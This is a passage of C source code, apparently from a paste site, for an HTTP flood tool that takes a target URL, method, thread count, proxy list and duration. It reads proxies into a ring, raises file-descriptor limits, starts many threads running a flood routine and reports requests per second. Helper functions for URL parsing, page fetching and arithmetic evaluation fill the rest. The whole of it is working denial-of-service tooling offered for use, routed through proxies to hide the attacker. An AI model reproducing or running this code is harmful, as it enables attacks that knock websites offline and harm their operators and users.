  724. fprintf(stdout, "Setting up Sockets...\n");
  725. int num_threads = atoi(argv[3]);
  726. char *method = argv[2];
  727. if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
  728. {
  729. fprintf(stderr, "Invalid parameters!\n");
  730. fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  731. exit(-1);
  732. }
  733. FILE *pFile = fopen(argv[4], "rb");
  734. if(pFile==NULL)
  735. {
  736. perror("fopen"); exit(1);
  737. }
  738. fseek(pFile, 0, SEEK_END);
  739. long lSize = ftell(pFile);
  740. rewind(pFile);
  741. char *buffer = (char *)malloc(lSize*sizeof(char));
  742. fread(buffer, 1, lSize, pFile);
  743. fclose (pFile);
  744. int i=0;
  745. char *pch = (char *)strtok(buffer, ":");
  746. while(pch != NULL)
  747. {
  748. if(head == NULL)
  749. {
  750. head = (struct list *)malloc(sizeof(struct list));
  751. bzero(head, sizeof(struct list));
  752. head->data = (struct proxy *)malloc(sizeof(struct proxy));
  753. bzero(head->data, sizeof(struct proxy));
  754. head->data->working = 1;
  755. head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  756. pch = (char *)strtok(NULL, ":");
  757. if(pch == NULL) exit(-1);
  758. head->data->port = atoi(pch);
  759. pch = (char *)strtok(NULL, ":");
  760. head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  761. pch = (char *)strtok(NULL, ":");
  762. head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  763. head->next = head;
  764. head->prev = head;
  765. } else {
  766. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  767. bzero(new_node, sizeof(struct list));
  768. new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  769. bzero(new_node->data, sizeof(struct proxy));
  770. new_node->data->working = 1;
  771. new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  772. pch = (char *)strtok(NULL, ":");
  773. if(pch == NULL) break;
  774. new_node->data->port = atoi(pch);
  775. pch = (char *)strtok(NULL, ":");
  776. new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  777. pch = (char *)strtok(NULL, ":");
  778. new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  779. new_node->prev = head;
  780. new_node->next = head->next;
  781. head->next = new_node;
  782. }
  783. }
  784. free(buffer);
  785. const rlim_t kOpenFD = 1024 + (num_threads * 2);
  786. struct rlimit rl;
  787. int result;
  788. rl.rlim_cur = kOpenFD;
  789. rl.rlim_max = kOpenFD;
  790. result = setrlimit(RLIMIT_NOFILE, &rl);
  791. if (result != 0)
  792. {
  793. perror("setrlimit");
  794. fprintf(stderr, "setrlimit returned result = %d\n", result);
  795. }
  796. bzero(&rl, sizeof(struct rlimit));
  797. rl.rlim_cur = 256 * 1024;
  798. rl.rlim_max = 4096 * 1024;
  799. result = setrlimit(RLIMIT_STACK, &rl);
  800. if (result != 0)
  801. {
  802. perror("setrlimit_stack");
  803. fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
  804. }
  805. setupparts();
  806. parseURL(argv[1], returnparts);
  807. if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  808. {
  809. ipstr = malloc(strlen(argv[6])+1);
  810. bzero(ipstr, strlen(argv[6])+1);
  811. strcpy(ipstr, argv[6]);
  812. fprintf(stdout, "Using manual IP...\n");
  813. } else {
  814. struct hostent *he;
  815. struct in_addr a;
  816. he = gethostbyname(returnparts[host]->value);
  817. if (he)
  818. {
  819. while (*he->h_addr_list)
  820. {
  821. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  822. ipstr = malloc(INET_ADDRSTRLEN+1);
  823. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  824. break;
  825. }
  826. }
  827. else
  828. { herror("gethostbyname"); }
  829. }
  830. char *postdata = malloc(1);
  831. bzero(postdata, 1);
  832. char *extrahead = malloc(1);
  833. bzero(extrahead, 1);
  834. if(argc > 7)
  835. {
  836. fprintf(stdout, "Using post parameters\n");
  837. free(postdata);
  838. free(extrahead);
  839. postdata = argv[7];
  840. extrahead = malloc(4096);
  841. bzero(extrahead, 4096);
  842. sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
  843. }
  844. threads = malloc((num_threads + 1) * sizeof(pthread_t *));
  845. bzero(threads, (num_threads + 1) * sizeof(pthread_t *));
  846. postpayload = malloc(4096);
  847. urll = argv[1];
  848. sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
  849. freeparts();
  850. fprintf(stdout, "Starting Flood...\n");
  851. for(i = 0;i<num_threads;i++){
  852. *(threads + i) = malloc(sizeof(pthread_t));
  853. bzero(*(threads + i), sizeof(pthread_t));
  854. pthread_create(*(threads + i), NULL, &flood, (void *)head);
  855. head = head->next;
  856. }
  857. int temp = atoi(argv[5]);
  858. for(i = 0;i<temp;i++)
  859. {
  860. sleep(1);
  861. printf("R/s: %d\n", rps);
  862. rps = 0;
  863. }
  864. exit(0);
  865. }
  866. char *geturl(char *url, char *useragent, char *ip)
  867. {
  868. RETRY:
  869. setupparts();
  870. parseURL(url, returnparts);
  871. struct sockaddr_in serverAddr;
  872. bzero(&serverAddr, sizeof(serverAddr));
  873. serverAddr.sin_family = AF_INET;
  874. serverAddr.sin_port = htons(ATTACKPORT);
  875. serverAddr.sin_addr.s_addr = inet_addr(ip);
  876. int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  877. unsigned int yes = 1;
  878. setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  879. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  880. {
  881. printf("GETURL CONNECT FAILED, RETRYING\n");
  882. close(serverSocket);
  883. freeparts();
  884. goto RETRY;
  885. }
  886. int bytes = 0;
  887. char *payload = malloc(8094);
  888. bzero(payload, 8094);
  889. sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  890. freeparts();
  891. bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  892. if(bytes == -1)
  893. {
  894. printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  895. close(serverSocket);
  896. goto RETRY;
  897. }
  898. int total = 0;
  899. int currentsize = 4096;
  900. char *buffer = malloc(4096);
  901. bzero(buffer, 4096);
  902. bytes = recv(serverSocket, buffer, 4096, 0);
  903. while(bytes > 0)
  904. {
  905. total += bytes;
  906. if(total+4096 > currentsize)
  907. {
  908. char *new_buffer = malloc(total+4096);
  909. bzero(new_buffer, total+4096);
  910. memcpy(new_buffer, buffer, total);
  911. free(buffer);
  912. buffer = new_buffer;
  913. currentsize = total+4096;
  914. }
  915. bytes = recv(serverSocket, buffer+total, 4096, 0);
  916. }
  917. return buffer;
  918. }
  919. char *stristr(const char *String, const char *Pattern)
  920. {
  921. char *pptr, *sptr, *start;
  922. uint slen, plen;
  923. for (start = (char *)String,
  924. pptr = (char *)Pattern,
  925. slen = strlen(String),
  926. plen = strlen(Pattern);
  927. slen >= plen;
  928. start++, slen--)
  929. {
  930.  
  931. while (toupper(*start) != toupper(*Pattern))
  932. {
  933. start++;
  934. slen--;
  935.  
  936. if (slen < plen)
  937. return(NULL);
  938. }
  939. sptr = start;
  940. pptr = (char *)Pattern;
  941. while (toupper(*sptr) == toupper(*pptr))
  942. {
  943. sptr++;
  944. pptr++;
  945.  
  946. if ('\0' == *pptr)
  947. return (start);
  948. }
  949. }
  950. return(NULL);
  951. }
  952. void freeparts()
  953. {
  954. return;
  955. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  956. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  957. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  958. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  959. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  960. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  961. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  962. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  963. /*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
  964. return;
  965. }
  966. void setupparts()
  967. {
  968. returnparts[0] = malloc(sizeof(struct urlparts));
  969. returnparts[1] = malloc(sizeof(struct urlparts));
  970. returnparts[2] = malloc(sizeof(struct urlparts));
  971. returnparts[3] = malloc(sizeof(struct urlparts));
  972. returnparts[4] = malloc(sizeof(struct urlparts));
  973. returnparts[5] = malloc(sizeof(struct urlparts));
  974. returnparts[6] = malloc(sizeof(struct urlparts));
  975. returnparts[7] = malloc(sizeof(struct urlparts));
  976. /*returnparts[8] = malloc(sizeof(struct urlparts));*/
  977. bzero(returnparts[0], sizeof(struct urlparts));
  978. bzero(returnparts[1], sizeof(struct urlparts));
  979. bzero(returnparts[2], sizeof(struct urlparts));
  980. bzero(returnparts[3], sizeof(struct urlparts));
  981. bzero(returnparts[4], sizeof(struct urlparts));
  982. bzero(returnparts[5], sizeof(struct urlparts));
  983. bzero(returnparts[6], sizeof(struct urlparts));
  984. bzero(returnparts[7], sizeof(struct urlparts));
  985. /*bzero(returnparts[8], sizeof(struct urlparts));*/
  986. returnparts[0]->name = "scheme";
  987. strcpy(returnparts[0]->separator, ":");
  988. returnparts[1]->name = "userid";
  989. strcpy(returnparts[1]->separator, "@");
  990. returnparts[2]->name = "password";
  991. strcpy(returnparts[2]->separator, ":");
  992. returnparts[3]->name = "host";
  993. strcpy(returnparts[3]->separator, "//");
  994. returnparts[4]->name = "port";
  995. strcpy(returnparts[4]->separator, ":");
  996. returnparts[5]->name = "path";
  997. strcpy(returnparts[5]->separator, "/");
  998. returnparts[6]->name = "param";
  999. strcpy(returnparts[6]->separator, ";");
  1000. /*returnparts[7]->name = "query";
  1001. strcpy(returnparts[7]->separator, "?");*/
  1002. returnparts[7]->name = "fragment";
  1003. strcpy(returnparts[7]->separator, "#");
  1004. return;
  1005. }
  1006. int parseURL(char *url, struct urlparts **returnpart) {
  1007. register i;
  1008. int seplen;
  1009. char * remainder;
  1010. //char * regall = ":/;?#";
  1011. char * regall = ":/;#";
  1012. //char * regpath = ":;?#";
  1013. char * regpath = ":;#";
  1014. char * regx;
  1015. if(!*url)
  1016. {
  1017. strcpy(parseError, "nothing to do!\n");
  1018. return 0;
  1019. }
  1020. if((remainder = malloc(strlen(url) + 1)) == NULL)
  1021. {
  1022. printf("cannot allocate memory\n");
  1023. exit(-1);
  1024. }
  1025. strcpy(remainder, url);
  1026. if(firstpunc(remainder) == ':')
  1027. {
  1028. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  1029. strleft(remainder, 1);
  1030. }
  1031. if (!strcmp(returnpart[scheme]->value, "mailto"))
  1032. *(returnpart[host]->separator) = 0;
  1033. for(i = 0; i < NUMPARTS; i++)
  1034. {
  1035. if(!*remainder)
  1036. break;
  1037. if(i == scheme || i == userid || i == password)
  1038. continue;
  1039. if(i == host && strchr(remainder, '@'))
  1040. {
  1041. if(!strncmp(remainder, "//", 2))
  1042. strleft(remainder, 2);
  1043. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  1044. strleft(remainder, 1);
  1045. if(strchr(remainder, '@'))
  1046. {
  1047. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  1048. strleft(remainder, 1);
  1049. }
  1050. *(returnpart[host]->separator) = 0;
  1051. }
  1052. if(i == path && (! *(returnpart[scheme]->value)))
  1053. {
  1054. *(returnpart[path]->separator) = 0;
  1055. strcpy(returnpart[scheme]->value, "http");
  1056. }
  1057. regx = (i == path) ? regpath : regall ;
  1058. seplen = strlen(returnpart[i]->separator);
  1059. if(strncmp(remainder, returnpart[i]->separator, seplen))
  1060. continue;
  1061. else
  1062. strleft(remainder, seplen);
  1063. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  1064. }
  1065. if(*remainder)
  1066. sprintf(parseError, "I don't understand '%s'", remainder);
  1067. free(remainder);
  1068. return 0;
  1069. }
  1070. char *str_replace(char *orig, char *rep, char *with) {
  1071. char *result;
  1072. char *ins;
  1073. char *tmp;
  1074. int len_rep;
  1075. int len_with;
  1076. int len_front;
  1077. int count;
  1078. if (!orig)
  1079. return NULL;
  1080. if (!rep || !(len_rep = strlen(rep)))
  1081. return NULL;
  1082. if (!(ins = strstr(orig, rep)))
  1083. return NULL;
  1084. if (!with)
  1085. with = "";
  1086. len_with = strlen(with);
  1087. for (count = 0; tmp = strstr(ins, rep); ++count) {
  1088. ins = tmp + len_rep;
  1089. }
  1090. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  1091. if (!result)
  1092. return NULL;
  1093. while (count--) {
  1094. ins = strstr(orig, rep);
  1095. len_front = ins - orig;
  1096. tmp = strncpy(tmp, orig, len_front) + len_front;
  1097. tmp = strcpy(tmp, with) + len_with;
  1098. orig += len_front + len_rep;
  1099. }
  1100. strcpy(tmp, orig);
  1101. return result;
  1102. }
  1103. char * strsplit(char * s, char * tok) {
  1104. #define OUTLEN (255)
  1105. register i, j;
  1106. static char out[OUTLEN + 1];
  1107. for(i = 0; s[i] && i < OUTLEN; i++)
  1108. {
  1109. if(strchr(tok, s[i]))
  1110. break;
  1111. else
  1112. out[i] = s[i];
  1113. }
  1114. out[i] = 0;
  1115. if(i && s[i])
  1116. {
  1117. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  1118. s[j] = 0;
  1119. }
  1120. else if (!s[i])
  1121. *s = 0;
  1122. return out;
  1123. }
  1124. char firstpunc(char * s) {
  1125. while(*s++)
  1126. if(!isalnum(*s)) return *s;
  1127. return 0;
  1128. }
  1129. int strleft(char * s, int n) {
  1130. int l;
  1131. l = strlen(s);
  1132. if(l < n)
  1133. return -1;
  1134. else if (l == n)
  1135. *s = 0;
  1136. memmove(s, s + n, l - n + 1);
  1137. return n;
  1138. }
  1139. //BEGIN COMPLICATED MATH STUFF
  1140. int evalmath(char *input)
  1141. {
  1142. char *output = malloc((strlen(input)*2)+1);
  1143. memset(output, 0, (strlen(input)*2)+1);
  1144. struct stack
  1145. {
  1146. int data[40];
  1147. int top;
  1148. } X;
  1149. char *i = input;
  1150. char *p = output;
  1151. char n1;
  1152. X.top = -1;
  1153. int debugstack = 0;
  1154.  
  1155. int prio(char op)
  1156. {
  1157. int pri = 0;
  1158. if(op == '*' || op == '/' || op =='%')
  1159. pri = 2;
  1160. else
  1161. {
  1162. if(op == '+' || op == '-')
  1163. pri = 1;
  1164. }
  1165. return pri;
  1166. }
  1167.  
  1168. void push(int num)
  1169. {
  1170. if(X.top != 39)
  1171. {
  1172. if(debugstack) printf("push'd %d\n", num);
  1173. ++X.top;
  1174. X.data[X.top]=num;
  1175. }
  1176. }
  1177.  
  1178. int pop()
  1179. {
  1180. int popd=(int)-1;
  1181. if(X.top != -1)
  1182. {
  1183. popd= X.data[X.top];
  1184. --X.top;
  1185. }
  1186. if(debugstack) printf("pop'd %d\n", popd);
  1187. return popd;
  1188. }
  1189.  
  1190. while(*i)
  1191. {
  1192. while(*i == ' ' || *i == '\t')
  1193. {
  1194. i++;
  1195. }
  1196. if( isdigit(*i) || isalpha(*i) )
  1197. {
  1198. while( isdigit(*i) || isalpha(*i))
  1199. {
  1200. *p = *i;
  1201. p++;
  1202. i++;
  1203. }
  1204. *p = ' ';
  1205. p++;
  1206. }
  1207. if( *i == '(' )
  1208. {
  1209. push(*i);
  1210. i++;
  1211. }
  1212. if( *i == ')')
  1213. {
  1214. n1 = pop();
  1215. while( n1 != '(' )
  1216. {
  1217. *p = n1;
  1218. p++;
  1219. *p = ' ';
  1220. p++;
  1221. n1 = pop();
  1222. }
  1223. i++;
  1224. }
  1225. if(*i == '+' || *i == '-' || *i == '*' || *i == '/' || *i == '%')
  1226. {
  1227. if(X.top == -1)
  1228. {
  1229. push(*i);
  1230. }
  1231. else
  1232. {
  1233. n1 = pop();
  1234. while(prio(n1) >= prio(*i))
  1235. {
  1236. *p = n1;
  1237. p++;
  1238. *p = ' ';
  1239. p++;
  1240. n1 = pop();
  1241. }
  1242. push(n1);
  1243. push(*i);
  1244. }
  1245. i++;
  1246. }
  1247. }
  1248. while(X.top != -1)
  1249. {
  1250. n1 = pop();
  1251. *p = n1;
  1252. p++;
  1253. *p = ' ';
  1254. p++;
  1255. }
  1256. *p = '\0';
  1257.  
  1258. memset(&X, 0, sizeof(X));
  1259.  
  1260. X.top = -1;
  1261.  
  1262. //debugstack = 1;
  1263.  
  1264. char *outorig = output;
  1265.  
  1266. while(*output)
  1267. {
  1268. while(*output == ' ') output++;
  1269. if(*output == '\0') return pop();
  1270. if(!isdigit(*output))
  1271. {
  1272. int op2;
  1273. int match = 0;
  1274. if(debugstack) printf("op %c\n", *output);
  1275. switch(*output) {
  1276. case '+':
  1277. push(pop() + pop());
  1278. match = 1;
  1279. break;
  1280. case '*':
  1281. push(pop() * pop());
  1282. match = 1;
  1283. break;
  1284. case '-':
  1285. push(pop() - pop());
  1286. match = 1;
  1287. break;
  1288. case '/':
  1289. op2 = pop();
  1290. push(pop() / op2);
  1291. match = 1;
  1292. break;
  1293. }
  1294. if(match) output++; continue;
  1295. }
  1296. int n = *output - '0';
  1297. output++;
  1298. while(isdigit(*output))
  1299. {
  1300. n = 10 * n + *output - '0';
  1301. output++;
  1302. }
  1303. push(n);
  1304. if(*output == '\0') return pop();
  1305. output++;
  1306. }
  1307.  
  1308. free(outorig);
  1309.  
  1310. return pop();
  1311. }
  1312. //END COMPLICATED MATH STUFF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement